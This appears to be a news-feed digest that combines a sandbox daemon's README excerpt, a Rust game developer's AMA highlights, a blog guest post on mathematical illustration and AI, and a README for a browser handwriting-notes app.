  • Pre-1.0 , single author, no external users yet. Breaking changes land without a deprecation path, on purpose.
  • No third-party security audit has ever been performed , and the author's own self-review ledgers are not published either. SECURITY.md says what exists, what it is worth, and what you can check yourself instead.
  • CI runs the gate, in the open, and each check means what it ran. The audit workflow has three jobs. audit runs plain make audit on every push to main and every pull request: build, vet, race tests, lint, buf lint , a generated-code drift check, and govulncheck . After audit , clients runs make clients-suite : npm ci in clients/typescript and examples/trigger-chat , then the Python and TypeScript Go test packages in required mode. A missing runtime, dependency or skipped Go test fails that job. audit-docker also follows audit and runs make docker-suite with the images prepared, in required mode: a missing daemon, a missing image or a skipped test fails the job. A green audit-docker therefore means the docker suite ran under runc with the shipped seccomp profile and proved a read-only root, sized noexec writable mounts, and the broker's refusals. The gvisor workflow runs the same suite under runsc, the kernel tier, from the pinned installer. The race detector runs in the plain audit job and both docker-suite jobs; the client job runs without it. No check exercises E2B or Docker Cloud Sandboxes: those suites drive live paid services and are deliberately never wired to a runner. See CONTRIBUTING.md .

Learn how it works

The interactive lessons are the fastest way in if you would rather read than clone. Start with Plain English for the idea before the API, or Quick start to run something. Every term these docs use has a one-sentence definition in the glossary . The lessons live in docs/trainers/ and work offline: open any file from a clone in a browser. GitHub shows .html files as source instead of rendering them, which is why the links above point at the published copy.

Documentation

Each of these answers one question, end to end.

Document Answers
docs/getting-started.md How do I build it, embed it, start it as a service with authentication, and watch a floor refuse a run?
docs/example-programs.md What do the runnable examples prove, and which should I read first?
docs/isolation-tiers.md What does each tier rest on, and how do I demand one per request?
docs/capability-grants.md How does agent code call my API without ever holding my credential?
docs/run-results.md What comes back, and when is a failure an error rather than a result?
docs/run-records.md What does each run's record state, how do I recompute it in another language, and how do I sign, verify and replay records outside the daemon?
docs/sessions.md How do I keep one sandbox for many calls, and what holds between the calls, an interpreter's variables included?
clients/python How do I call plimsolld from Python?
clients/typescript How do I call it from TypeScript, and give a Trigger.dev or Mastra agent a code tool that keeps its state?
docs/trigger-dev.md How do calls that reuse one interpreter, an isolation floor and checked run records appear together in a Trigger.dev tool, and how do I deploy a task?
docs/ai-sdk.md How do I give a Vercel AI SDK agent an executeCode tool, fresh per call or kept for one user's conversation?
docs/google-adk.md How do I make plimsoll the code executor of a Google ADK agent, with input files, output artifacts and a refusal below the floor?
docs/placement.md I run several daemons: how do I pick one per request, and when is a refusal safe to retry elsewhere?
docs/inner-loop-workflow.md How do I iterate fast locally without shipping a weak sandbox to production?
docs/efficiency-advisor.md What does the advisor see, why can what it records never include the data the code sent or received, and how do I choose what it emits?
docs/hardened-mode.md How do I make the daemon refuse to start unless every production safeguard is set?
docs/dependencies.md Which dependencies must be trusted for the sandbox to hold, and how are the tools that check them pinned?
docs/limitations.md What does this deliberately not do?
docs/dockercloud.md What does the Docker Cloud Sandboxes provider need from the operator, and what does each run check?
docs/openshell.md What does the OpenShell provider need from the operator, and what does each run check?
docs/releasing.md Why is the module path public, why do releases start at v0.2.0, and why is there no checksum exemption?
docs/callers.md How do I create, rotate and revoke caller credentials?
docs/seccomp.md and docs/gvisor.md What do the seccomp filter and gVisor enforce?
docs/guest-dependencies.md How do npm packages get into a sandbox that has no network?
docs/architecture/credential-minting.md Where does a per-run credential come from, and where does it stay?
docs/seams.md Where are the deliberate extension points?
Glossary ↗ What does this word mean? One plain sentence per term.
AGENTS.md The architecture reference: providers, the rules no change may break, and every environment variable.

License

Apache-2.0 .

Governments are mishandling the affordability crisis

Hacker News
www.economist.com
2026-10-11 19:40:06
Comments...

Highlights from "I spent 6 years developing a game in Rust and it just shipped, AMA" (2024)

Lobsters
gamesbymason.com
2026-10-11 19:28:36
Comments...
Original Article

I recently released Way of Rhea , a puzzle game that I’ve been working on in Rust since 2018. If you like games like Braid, Talos Principle, or Portal you’d probably enjoy it:

After launch I posted an AMA on r/rust_gamedev , and people asked a lot of great questions!

This write up contains curated highlights from the AMA, with some additional editing for clarity.

What made you decide to use Rust?

Before Rust, I was working on a C++ game engine. A friend had been nagging me to check out this cool new language, but I was skeptical and hadn’t yet given it a chance.

At some point I got fed up with some CMake silliness I can’t remember the details of and decided to take a break for a few days and hack on something else. I found Steve Klabnik’s Rust book and read it front to back, I believe it was the official resource at the time.

It blew my mind that there was an alternative low level language I could be using that had a built in build system, built in unit testing & docgen, algabraic data types, non exception based error handling, etc. It was hard to justify sticking with such a high friction language knowing that there were alternatives. The memory safety aspect is also certainly neat, but as someone building single player video games it’s not really a primary concern for me.

Since then, I’ve gotten really into working to progress efforts to move away from C/C++ where possible. I’m also active in the Zig community, and on the Zig Software Foundation board. I know the internet has a tendency to treat these efforts like competing sports teams, but I think this is missing the mark.

When you’re a beginner, it feels important to invest your time into the “correct” language–lest it all be wasted. To avoid sitting with that discomfort, new programmers often tell themselves that their language or tool is perfect and infallible and lash out at anyone who criticizes it.

The better future is the one with multiple high quality low level langues keeping eachother honest.

I have my opinions, but I’d encourage beginners to worry less about programming language choice, and those getting into gamedev to consider all the available tools and pick what suits their current needs.

What was the most frustrating part of using Rust?

Compile times! Other than compile times…

I write game engines, which means that sometimes, I need to do low level bit fiddly stuff. This stuff is hard to get right in general, but it’s unnecessarily hard in Rust. Unsafe Rust is poorly documented and hard to work with, and people act like you’re committing code crimes by using it at all when you seek help online.

Rust is also designed with the expectation that you only make two types of allocation: heap allocation, and stack allocation. You can implement your own custom allocators for different parts of your codebase if you really want, but you’re cutting against the grain.

It’s also pretty frustrating that Rust doesn’t have support for reflection.

Ecosystem wise, it feels like we have the wrong goals sometimes. I remember in the early 2000s when OOP was all the rage, and if you complained OOP wasn’t helping you achieve your goals, people would tell you that you just needed to OOP even harder. Rust feels a little bit like that sometimes. All of these paradigms only matter insofar as they affect one thing: the end user of your software.

I think the best way to avoid this trap while still pushing for new and better paradigms is to see things all the way through. If you’re building a audio library, also build a music player that uses it. If you’re building a game engine, ship a real game in it. These examples are not call outs of anyone, I picked the first two ideas that came to mind.

By seeing things all the way through, you can see how your decisions effect the end user, even if even if there are lots of twists and turns between the decision and the end user. That keeps you honest.

What libraries and crates did you use?

I used a number of crates and libraries, but nothing “load bearing”. Of particular note…

I used gl to get the OpenGL function pointers. scopeguard was also super useful here–RAII isn’t a great match with APIs like OpenGL, scopeguard essentially adds defer to Rust making this type of code much easier to write.

I wrote my own code for windowing and keyboard/mouse input, but referenced SDL whenever I got stuck. It was kind of an annoying task–I’ll probably use SDL3 for my next game–but I learned a lot doing it for myself.

I also used notify to get file change notifications for hot swapping, and various STB headers for things like parsing TTFs.

reqwest was useful for crash reports.

Some people asked if I used a library to assist in parsing my scripting language. I’m personally not a huge fan of parser libraries—writing a parser seems tricky at first, but in practice it’s usually easy to whip up a quick recursive descent parser. In school they’ll tell you that recursive descent isn’t powerful enough for common grammars, and theoretically they’re right, in practice you can easily work around most issues—or just design a simpler grammar.

Here’s a great resource on writing compilers if you’re interested in this sorta thing.

I used Steam Input for controller support. The end result works well but I won’t be using it in the future.

Notes on Steam Input…

Steam Input is valves input remapping feature. Players can play a game that may or may not have controller support, and remap their controller to behave like a keyboard to get the behavior they want.

That part of it is great.

There’s also a developer facing side of Steam Input, that provides APIs for:

  • Controller input for every controller imaginable
  • Controller glyphs for in game UIs
  • Input layers
  • A controller rebinding UI
  • Access to rumble, controller LEDs, etc
  • And more…

The problem is this ties you to the Steam store, and also, the implementation is totally busted. Layers are fundamentally broken and behave different on different platforms in game breaking ways, the actual input behaves differently in subtle ways and appears to be tied into weird Steam Overlay bugs, the controller rebinding UI doesn’t always show up, etc.

You have to set up the controller bindings via a domain specific language Valve invented. The language is poorly documented–examples often have syntax errors or are flat out incorrect–and it has little to no error handling.

The only way to get these config files right is to try to do it through their UI and save it, but good luck figuring out how to do that, or how to attach the result to your build!

Also the UI often generates code like this that looks incorrect but works, so I guess it’s correct…?

"binding"       "game_action GameControls Action_Interact, , "

Have ecosystem changes affected the project?

The last 6 years has seen a lot of changes in the rust gamedev ecosystem. You said you wrote your own game engine, but did you have to update or switch any underlying libraries during this time? Any major changes that were dictated by external changes in rust or underlying libraries?

I didn’t have to change very much because I wrote almost everything from scratch. You can certainly go faster by pulling in more dependencies, but I learned a lot doing things myself and sidestepped this type of churn.

What do you think of LogLog’s Leaving Rust Gamedev blog post?

Referenced Post

I agree with pretty much everything in their article, though I’ve come full circle on ECS and think it’s a useful paradigm–I touch on that in this talk . I have some additional complaints not covered by their post here .

I haven’t been super online recently because I’ve been so busy with the launch, I only saw the LogLog article because a friend sent it to me. I hope that the reaction to it has been “wow great feedback from someone shipping stuff, lets figure out we can best address these points!”

How much time did making a custom engine add to the project?

I think people tend to assume I spent six years on the game because the engine ate up all my time, but that wasn’t really the case. Most of my time was spent on content. It just took a long time because I was initially a hobbyist, and didn’t know how to focus on the right things.

I built the scripting language as a hobby project before I started the game. If you don’t factor that in, I think engine development probably took up about 20%-30% of the dev time. Of course that doesn’t factor in whether or not the engine I build was more or less productive than what I would have used otherwise. I think it was a mixed bag?

I’ve used off the shelf engines for past jobs, and freelance projects like LUCID .

It’s certainly a lot less work to use an existing engine, but at the same time, you don’t have as much control over your workflow–e.g. I find hot swapping highly productive, and while all the major engines claim they support it, they don’t really in practice.

Making games in custom engines is sort of a high velocity low acceleration endeavor. YMMV.

How did your crash reporter strategy work in practice?

I read your blog post about the crash reporter a couple years ago, so I am curious how well the whole “running the game as a subprocess” held up now that the game is released? Did you stick with it with the release, or did you run into some unforeseeable problems over the years?

The blog post in question is here , Subtale also created a Rust library based on the post.

It’s held up pretty well–I’ve definitely used it to catch some real problems–though as someone pointed out not having a separate executable means it’s not able to report missing DLLS. Not a big issue, I only really depend on the OS libraries, but unfortunately this can be an issue for libc which I didn’t consider.

This is kind of frustrating since I don’t use much of libc, but I can’t figure out how to configure Rust to just use musl or something, so as a result I don’t currently support older versions of Ubuntu (min version listed on Steam.)

The whole sending crash logs to my Discord thing is also great compared to asking people to send them to me themselves, but it could be a lot more ergonomic. I don’t really get a lot of errors so it’s probably fine.

All that being said, while the crash reporter has held up, I’m currently writing a crash reporter for an art tool called Magic Poser that I do some engine work on, and I think I could write a much better crash reporter now. When the Magic Poser crash reporter is finished I’ll publish a new blog post (or maybe multiple?) covering how it works.

How did you handle windowing and input?

When I was writing that part the windows crate wasn’t as far along as I think it is now, or I didn’t realize that it was, otherwise I would’ve likely used it.

I ended up just up just writing out the basic function declarations I needed in Rust, but making them extern C , and then implementing them in whatever language the target OS preferred and using CC to compile that piece and link it in.

I considered declaring extern functions for the pieces of the Windows API I wanted to use and calling them from Rust, but I was trying to support macOS at the time and doing that for Objective C stuff seemed like a nightmare.

My solution worked fairly well, but if I was doing it again from scratch I would probably just use the windows crate and save myself the trouble, especially since I’m not supporting macOS anymore anyway and IIRC the Linux stuff I used all looked very easy to call from Rust.

Why didn’t you use an existing scripting language?

I built the scripting language before I started development on Way of Rhea, I wasn’t trying to be pragmatic I was just hacking on stuff for fun in my free time. I wanted hot swapping in Rust, and my first attempts were to hot swap a Rust DLL, and to integrate existing scripting languages.

The DLL route didn’t end up being viable (would crash on my target platforms on some standard library stuff, may have been fixed since then I’m not sure.)

There may be more options now, but at the time there weren’t any Rust specific scripting languages mature enough for my use case, or at least I didn’t find them if there were. I considered Lua because it’s super easy to integrate (with the exception of the setjump/longjmp error handling, ha) but I really like static typing. I think for a long time people had this idea that high level languages were more compatible with dynamic typing, and low level with static typing, and I don’t really agree with that.

I could have tried something like Python + MyPy, but integrating Python into other languages is a pain and MyPy feels like a half-solution. I have similar opinions on Javascript/Typescript.

I spent a few days trying to prove to myself that making my own language wasn’t viable…and then realized it totally was and was a lot of fun, so I kept working on it.

By the time I started Way of Rhea I wanted to be more pragmatic, but I already had the language so there wasn’t any reason not to leverage it.

How hard would it be to add support for macOS back in?

It usually takes me about a week or two to get it playable on a new platform, maybe a few more for beta testing to work out weird edge cases. Since I already have a bunch of macOS code it would be easier than other ports.

However, the game relies heavily on OpenGL which is now deprecated on macOS. AFAICT it’ll keep working for the foreseeable future…but it would feel a bit weird to charge people money for something that could go away at any time. If I was gonna port to maOS I’d want to port it to another graphics API which would take additional time–especially since I didn’t abstract that stuff out very well.

The main blocker isn't really technological, I dropped macOS support because Apple is too annoying to deal with from a business standpoint. More on that here .

What are your plans for the engine and scripting language going forwards?

My original plan was to use it for future games, and possibly to open source it eventually.

I’ve learned a lot in this process and don’t think I would actually recommend anyone use either of them–I’m making a new engine for game 2 myself that will carry over some of the ideas, but have a very different focus.

It’s possible that I’ll open source my second engine, or parts of it, after I ship game 2.

What do you consider a successful launch?

My goals were modest since this was my first commercial game.

I knew my game was going to be featured in the Cerebral Puzzle Showcase a few days after launch, so I had a goal to get 10 reviews on launch day so we’d be featured by the Discovery Queue before the showcase started.

We passed that goal on day one, got a massive number of views from discovery queue featuring, and are now at 30 100% positive reviews from people who bought the game at the time of writing!

This is super exciting, because it’s further evidence that this stuff isn’t luck . Valve is clearly willing to give games like mine a chance, people are clearly enjoying it, if I can’t convert enough of those views then I just need to keep making good games and find better market fit.

My original goal was to break even, but I quickly realized that being stingy with spending would prevent me from experimenting, and I needed to experiment to learn. Breaking even on a game is easy…just spend $0 and sell 0 copies and you’re set haha.

My next goal is to get a game into Popular Upcoming. Once I achieve that, I’ll probably set more concrete financial goals.

Side note on events…

Most of my expenses came from showing my game at events. Events are expensive–the booths are costly, travel and lodging can be expensive, and there’s opportunity cost. I showed Way of Rhea pretty much anywhere I could, and learned a lot about which events are effective and which aren’t:

  1. In person events are the most effective if they’re featured on Steam (check steamdb to see if it was featured last year)
  2. Online events can be great because they’re often free and don’t require travel or much time investment. However…
    • They probably won’t do anything unless they’re Steam featured
    • Don’t give online event organizers money unless you have a really good reason to trust them
  3. Some free in person events are useful in ways that are hard to measure–e.g. maybe you don’t get a lot of wishlists, but you meet press or streamers.
  4. Events are in a sense “cheaper” if you can show multiple games at a booth, either because you have multiple games out or because you’ve teamed up with other developers. Each event has their own rules YMMV.
  5. Steam featured events boost your wishlists a lot, but probably don’t convert as well as organic wishlists, don’t spend too much money trying to make up for a low organic wishlist rate.

Aren’t puzzle platformers one of the hardest genres to sell on Steam?

Yeah, you probably shouldn’t try to sell puzzle platformers on Steam. Way of Rhea started out as a hobby project so I didn’t do any market research before deciding on the concept.

I didn’t understand why some people around me were finding an audience for their games so much more easily than me–it felt like I was playing on hard mode. I spent a lot of time trying to understand, and eventually realized how important it is to get genre right.

What are the most important lessons you learned?

End user matters more than everything else, you gotta focus on the end user.

If you’re making games, you have to understand what people want to play and why. If you think indie game virality is luck you’re not gonna make a viral indie game, there’s a reason some games sell and some don’t . Doing market research isn’t selling out, build something you’ll enjoy building that others will enjoy playing.

Game engines are fundamentally art tools. They also provide a game runtime, but that’s secondary and less interesting. The primary user is the game designer. If you’re building an engine, focus on the designer when making trade-offs.

Beta test as early as possible. We had players playing the game 7 days into development. This was hugely beneficial to the project. However, we didn’t run the closed beta with a build of the entire game until a couple months before launch. The beta had a huge positive impact on the quality of the final game, next time I’ll be starting that ASAP.

Learn from others. howtomarketagame.com is a great resource on stuff like this.

How did you find beta testers?

Would you mind sharing how you went about finding these people? I know r/playmygame and r/DestroyMyGame exist. I’m working towards having something playable that I can do some playtesting on Steam, which I (hope) will bring in a small amount of testers organically. But other than utilizing my social media accounts, I’m not sure if there’s other good places I should look into?

When I first started working on the game I brought it to a lot of small local events. It was short enough–and had enough low hanging fruit that needed fixing–that just watching anyone play through it was super valuable. I love in person playtesting because it’s easier to get a read on how people are feeling.

When I was living in NYC, NYU Game Center hosted Playtest Thursdays that were open to the public. Anyone could bring a game, and anyone could stop by and try out the games. When I moved to Santa Cruz I started a similar event with a friend at UCSC–if the event you want doesn’t exist, start it.

Over time I started taking it to bigger events as well, and doing Steam featured festivals with the demo.

As the game gets longer though, this type of playtesting stops being viable. Eventually you really need people to sit down and play through 10 hours of gameplay or whatever which isn’t gonna happen at an event. Another downside of in person events is that you’re not exactly testing with your target audience–people will play games they wouldn’t actually purchase in person because playing an unreleased game at an event is a fun novelty experience.

If you can’t watch people play in person, the next best thing is a recording of a playthrough, followed by a playthrough with notes. You do have to find people for this though.

When I did all the in person events, I gave out business cards with my discord server on it, and had a mailing list sign up sheet. When it came time to do the closed beta, I just shared info on how to sign up for it with everyone who had expressed interest and got a lot of sign ups. I also shared on my personal social media, and was surprised to find that I have a lot of friends who play a lot of puzzle games that were eager to try it out.

I actually did set up Steam Playtesting as well, but I didn’t end up using it since I got more than enough sign ups directly. Steam Playtest seems great though, maybe I should have drew half of my names from there and half from my direct sign up or something.

Side note on feedback focused communities…

I’m a little skeptical of communities dedicated to playtesting–I want feedback from people who would actually buy my game.

In my experience, people who give feedback for feedback’s sake tend to just suggest random polish stuff. People who would actually play your game say things like “I like it when puzzle games do XYZ, and was really let down when yours didn’t do that.” The latter feedback is way more useful to me.

I’ve never actually posted my game on these subreddits though, maybe my skepticism is unfounded and they’re actually great.

Side note on reviews…

If you’re shipping on Steam, getting at least 10 reviews from paying customers is super important for visibility.

I wanted to gift my beta testers free keys in exchange for helping me test, but then I’d be missing out on reviews from all the people who were the biggest fans of my game.

I felt bad that I couldn’t do this, but I made it clear up front and in practice everyone seemed excited to support a game they enjoyed so it was totally fine.

Why did you do a closed beta?

Any reason why you made your playtests exclusive? I’ve been leaning towards just doing an open playtest that lets anyone who wants to play, play it instantly. I figured the more exposure I get, the better. But I suppose it does make sense to maybe layer the playtests out a bit initially like you did, so that you can fix big problems before the next group plays?

Way of Rhea is very content based–once you’ve solved all the puzzles and figured out all the secrets, it’s over, unless you’re into speed running. I personally do replay puzzle games, but I’m pretty sure I’m in the minority. I didn’t want everyone to play a worse version of the game before it released and then have no reason to buy it and experience the better version when it came out. I think most of my beta testers did buy the final game, but that likely wouldn’t have been true for a larger beta.

Being part of a small group is also more exciting for people, and it let me talk to everyone one on one. Each individual tester had a much bigger impact on the game. Adding more than a few people each week also wouldn’t have been that useful to me–I needed time to make tweaks in between test groups so people wouldn’t all run into the same stuff.

I did have a free demo available on Steam for a lot of development, and it had crash reporting and stuff built in, so that helped cover my grounds from a technical perspective of making sure it ran on everyone’s computers.

All that being said, content based games probably aren’t the way to go for most indies. My next game will likely be systems based, and in turn it’s likely my beta testing strategy will change.


Thanks for checking out my post! If you want to support me, the best way is to pick up a copy of my game on Steam or sign up for my mailing list .

Illustration Beyond Proof

Hacker News
terrytao.wordpress.com
2026-10-11 19:22:36
Comments...
Original Article

[This is a guest post by Kate Stange and Edmund Harriss . This blog post was initially written in a different file format and converted using AI. — T.]

In January a group of mathematicians, historians, artists and educators gathered at the Institut Henri Poincaré (IHP) for a very unusual workshop on mathematical meaning. Our focus for that week, as part of a special trimester on the use of illustration in mathematical research, was to ask: what would it mean for an illustration to be rigorous [1]? We did not anticipate how urgent the surrounding cluster of questions, about the very definitions of human mathematical practice, would seem, just six months later. Our discussions led to an article, written over the summer in the context of the Leiden Declaration [2], and now accepted in the Notices [3]. The past month or two have seen a heartfelt outpouring of viewpoints on what it means to do mathematics as a human being, and what it will mean in the near future. It is evident from the impassioned discussions that being a mathematician has many and varied important meanings. Mathematical illustration, which includes computer graphics and other media that speak to our senses beyond symbolic communication, is one of the activities of a human mathematician that goes beyond proof-writing. Its own struggles as a discipline can perhaps provide some insight into where mathematics can go from here.

We begin with a recap of where we are. Bryna Kra [4] describes the heart of the current problem. Over many years, theorem production has become the most important measure of success. Positions and prizes rest upon it. But it has always been a proxy for something harder to measure: understanding. Deep theorems were scarce and difficult, so they reliably identified deep thought. AI has broken that scarcity. For her, a proof is “a story, a picture, an insight, an explanation.” Silvia De Toffoli and Eamon Duede [5] sharpen this perspective, rejecting the idea that mathematics is a game that machines can now win. The goal of mathematics is not simply a verifiable solution. Mathematics is “a body of knowledge engaged with, interpreted, and digested by a scholarly community,” not a registry of results. Matilde Marcolli [6] goes further: the big theorems were never the point, only a value system the community chose, and choices can be made again. Grant Sanderson [7] asks what that means in practice: how do we give real credit to the other forms that mathematical work and understanding take?

Other forms of knowing have been given credit in the past. Our paper begins with the hand-drawing required in mathematical training at Gaspard Monge’s École Polytechnique in the nineteenth century. At the January workshop, historian Frédéric Brechenmacher made this explicit: “Drawing was knowing.” [8] We trace how that tradition was set aside in the twentieth century, but nevertheless persisted, emerging in part in a more recent debate over the relationship of proof and meaning in mathematics in the 1990s. At that time, in response to an influential paper by Arthur Jaffe and Frank Quinn [9], many mathematicians expressed their thoughts, most famously Bill Thurston. In his now much quoted “On Proof and Progress in Mathematics” [10], he defended his work against Jaffe and Quinn’s criticism. Many of the other responses are also worth reading [11]. The Philosophy of Mathematical Practice [12], the field of De Toffoli and Duede, studies these questions systematically across the community.

Algebraic number starscapes: the complex roots of rational cubic polynomials. The right-hand image is a shader by Steve Trettel; code at shadertoy .

The Illustrating Mathematics community developed from this tradition of drawing and making mathematical objects. It took shape during a semester at ICERM in 2019 and went on to organise the IHP trimester this year [13]. It brings together mathematicians who actively develop images, models, software and experiences of mathematics. A particular focus has been the role illustration plays as a method of research: exploring, not just explaining, mathematics. In the same way that a good proof shows more than just its result, a good illustration does much more than demonstrate a form or pattern.

Our own work in algebraic starscapes [14], including the images above is a modest example (with Steve Trettel, and with Jayadev Athreya, Gabriel Dorfsman-Hopkins and Claudio Gonzalez joining in). The pictures show elaborate structure in the complex roots of rational cubic polynomials. When we moved to using shaders to draw the image (on the right), a naive first draft of the code turned circles into ellipses. But we realized that the unintended distortion revealed an extra dimension of meaningful structure. These pictures show mathematics that has not been explored, rather than explaining what is already known.

Of course, both proof and illustration can mislead, especially in research. The capabilities of LLMs come at a cost. In the case of illustration, their ability to produce code makes illustration more accessible than ever before. Yet by vibecoding, we are now two steps from knowledge: even the creation algorithm itself may not be understood.

In the case of proof, this problem of “digestion” is now centre-stage. This month [15], prompted by Ioannis Tsiokos, GPT-6 Astra found Chair44, the first three-dimensional aperiodic monotile. Tsiokos shared a 61-page paper [16]. He says he understood the intuitive geometric argument but not the mathematics. Chaim Goodman-Strauss then distilled the argument into eight pages [17] built around a diagram of matching arrows that makes the supertile structure visible, giving a classical hierarchical proof of aperiodicity. The illustration of the shape itself (in Tsiokos’ paper) was a critical clue in revealing the key idea.

So returning to our original question, in the face of these problems, how can an illustration be rigorous? In the paper we draw on Valeria Giardino’s account of representations as tools for thought ( Endeavour 42, 2018) [18], which considers an illustration’s affordances: the readings, manipulations and inferences the figure invites. We might choose a stronger definition of affordances: the properties of the illustration that a proof certifies as accurate. Conversely, proofs can show that an apparent property is not an affordance. For example, early images of the Mandelbrot set seemed to show it was disconnected [19], but in a pixelated image a feature thinner than the step between pixels can be missed [20]. Properties such as the number of bulbs of a given size off the main cardioid, on the other hand, can be proved correct, provided the pixel size is small in comparison.

If this addresses the accuracy of an image, what about its engagement or ability to reveal? These are questions without clear answers, but they are not unimportant. They are also the questions that academic art asks of the work of its students, and art has a long-tested method: the “crit”. At the workshop, Jean Schmitt, a professor of art foundations, helped us set up a crit framework we used through the trimester. The crit is a discussion of a work, often presented with minimal introduction, to reveal how it is received by the audience. What are the similarities and differences between that reception and the creator’s intent? This gave a more formal structure to the sort of informal conversations we were already having, and placed the discussions in a communal space. The crit shares something with the style of Gelfand’s Moscow seminar.

Schmitt’s workshop talk [21] drew on Tim Ingold’s idea of thinking through making ( Making , Routledge, 2013) [22], in which form and understanding emerge through the process and in collaboration with the tools and materials available. In the same way Monge’s students were expected to learn through the process of drawing, not by observing the drawings of others. Value and understanding often come as much from the effort of creation, be it illustration or proof, as from viewing that created by others.

These ideas from art make explicit and visible something that has always been implicit in the mathematics community. Being a mathematician is as much about being an excited audience for the work of others as it is about presenting or creating our own research. As a community, we value aesthetics, elegance, and insight, and we have developed these shared values through our interactions. The oversized importance of publication and previously unproven results merely overshadowed these broader values, but people have always been working to find ways to ensure we give credit for them.

Infrastructure to support these broader values has also been growing. The Geometry Labs United network [23] brings together groups in many universities where undergraduates and graduates work with postdocs and faculty, exploring math as research, experimentation and visualisation. This gives a natural space for learning through making proofs, experiments, exposition and illustrations. In many cases the proof can be more contextual, proving the affordances of a specific experiment or illustration. Learning through making also aligns with work in mathematics education. In the final talk of our workshop, Hortensia Soto showed how working with physical materials supports learners’ actions, perceptions and sensations on the way to understanding [24].

Answering Sanderson’s call to credit things beyond proof can consists of, as much as anything, recognising and growing the work that has already been done. This work is happening in the community of Illustrating Mathematics, but also in the Philosophy of Mathematical Practice, in Geometry Labs, and many other places. Insights are found by connecting to mathematics education, outreach and even art. The work is happening: what it needs, as Sanderson argues, is support. With that we can achieve what Bryna Kra describes: a mathematics that continues to

“enlarge our capacity to reason and open our minds to new ways of understanding.” [4]

References

[1] Rigorous Illustrations: Their Creation and Evaluation for Mathematical Research , workshop (2026 T1 WS1), Institut Henri Poincaré, January 2026. Programme and talks: https://indico.math.cnrs.fr/event/13124/

[2] Jarod Alper, Michael Barany, Alain Chavarri Villarello, Sander Dahmen, Walter Dean, Karthik Ganapathy, Michael Harris, David Holmes, Mateja Jamnik, Steven Kelk, Bryna Kra, Ursula Martin, Bartosz Naskręcki, Rodrigo Ochigame, Jim Portegies, and Johannes Schmitt, Leiden Declaration on Artificial Intelligence and Mathematics , 2026. https://doi.org/10.5281/zenodo.20302944

[3] Edmund Harriss and Katherine E. Stange, Mathematical Illustration: Proof, Intuition and AI, Notices of the American Mathematical Society , to appear. https://arxiv.org/abs/2610.02655

[4] Bryna Kra, “Deep theorems were scarce and difficult and so became an effective mechanism to identify deep thought. AI has broken this system.”, guest post, What’s new , 13 September 2026. https://terrytao.wordpress.com/2026/09/13/deep-theorems-were-scarce-and-difficult-and-so-became-an-effective-mechanism-to-identify-deep-thought-ai-has-broken-this-system/

[5] Silvia De Toffoli and Eamon Duede, After Math, guest post, What’s new , 12 September 2026. https://terrytao.wordpress.com/2026/09/12/after-math/

[6] Matilde Marcolli, essay on AI and mathematics, 2026. https://www.its.caltech.edu/~matilde/AImathNew.pdf

[7] Grant Sanderson, If math is more than proof, we need to better celebrate the rest of it, guest post, What’s new , 18 September 2026. https://terrytao.wordpress.com/2026/09/18/if-math-is-more-than-proof-we-need-to-better-celebrate-the-rest-of-it/

[8] Frédéric Brechenmacher, The flat and the relief: Geometric material models in 19th century France, talk at [1], 2026. https://dx.doi.org/10.57987/IHP.2026.T1.WS1.007

[9] Arthur Jaffe and Frank Quinn, ‘Theoretical mathematics’: Toward a cultural synthesis of mathematics and theoretical physics, Bulletin of the American Mathematical Society 29 (1993), 1–13.

[10] William P. Thurston, On proof and progress in mathematics, Bulletin of the American Mathematical Society 30 (1994), 161–177.

[11] Michael Atiyah, Armand Borel, Shiing-Shen Chern, et al., Responses to ‘Theoretical Mathematics: Toward a cultural synthesis of mathematics and theoretical physics,’ by A. Jaffe and F. Quinn, Bulletin of the American Mathematical Society 30 (1994), 178–207.

[12] Silvia De Toffoli and Paolo Mancosu, The philosophy of mathematical practice, The Stanford Encyclopedia of Philosophy , 2026.

[13] Rémi Coulon, Gabriel Dorfsman-Hopkins, Edmund Harriss, Martin Skrodzki, Katherine E. Stange, and Glen Whitney, On the importance of illustration for mathematical research, Notices of the American Mathematical Society 71 (2024), no. 1, 105–115.

[14] Edmund Harriss, Katherine E. Stange, and Steve Trettel, Algebraic number starscapes, Experimental Mathematics (2022).

[15] Konstantin Kakaes, Software developer finds first 3D “einstein” tile, Quanta Magazine , 23 September 2026. https://www.quantamagazine.org/update/167384/

[16] Ioannis Tsiokos, Chair44 paper, arXiv:2609.19214, 2026. https://arxiv.org/abs/2609.19214

[17] Chaim Goodman-Strauss, paper on the Chair44 tile, arXiv:2609.24779, 2026. https://arxiv.org/abs/2609.24779

[18] Valeria Giardino, Tools for thought: The case of mathematics, Endeavour 42 (2018), no. 2–3, 172–179.

[19] Benoit B. Mandelbrot, Fractal aspects of the iteration of z ↦ λz(1 – z) for complex λ and z, Annals of the New York Academy of Sciences 357 (1980), no. 1, 249–259.

[20] Adrien Douady and John H. Hubbard, Itération des polynômes quadratiques complexes, Comptes Rendus de l’Académie des Sciences, Série I Mathématique 294 (1982), 123–126.

[21] Jean Schmitt, talk at [1], 2026. https://indico.math.cnrs.fr/event/13124/contributions/14965/

[22] Tim Ingold, Making: Anthropology, Archaeology, Art and Architecture , Routledge, 2013.

[23] Jayadev Athreya, Emily Dumas, William Goldman, Sergey Grigorian, Rosemary Guzman, Philipp Hieronymi, Sean Lawton, Anton Lukyanenko, Jeremy Tyson, and Aaron Wilson, Geometry labs united: An invitation, Notices of the American Mathematical Society 65 (2018), no. 9, 1088–1093.

[24] Hortensia Soto, Rigorous and flexible illustrations: Inviting realms of possibilities, talk at [1], 2026. https://dx.doi.org/10.57987/IHP.2026.T1.WS1.017

Show HN: BraiNOTES, handwritten notes on your lecture PDFs in a browser tab

Hacker News
github.com
2026-10-11 19:22:29
Comments...
Original Article

brainotes logo

Handwritten notes and a whiteboard that run in your browser.
Write with a pen, keep the pdf next to your notes.

braiNOTES in Study mode, handwritten notes with a diagram snipped from the slides, and the lecture pdf open on the side

Try it now → notes.swimmingbrain.dev

braiNOTES is an open source app for writing by hand, like OneNote or GoodNotes, but in a browser tab. It is made for lectures: the slides open next to your notes or become the pages you write on. There is no account and no server, everything stays in your browser.

Features

  • Ballpoint, fountain pen, marker, pencil and highlighter, with pen pressure
  • Notebooks on blank, lined, grid or dotted paper, and whiteboards without edges
  • Write on a pdf, or read it on the side and snip parts of it into your notes
  • Pictures, shapes, text, a lasso, an eraser and a laser pointer
  • Export to PDF with the original pages and vector ink, or a page to PNG
  • .brainotes files to back up a notebook or share it
  • Saves by itself and works offline once it has been opened

Shortcuts

Key What it does
P H E V Pen, highlighter, eraser, select
S T X L Shapes, text, snip, laser
Space Hand while held
Ctrl+Z Ctrl+Shift+Z Undo, redo
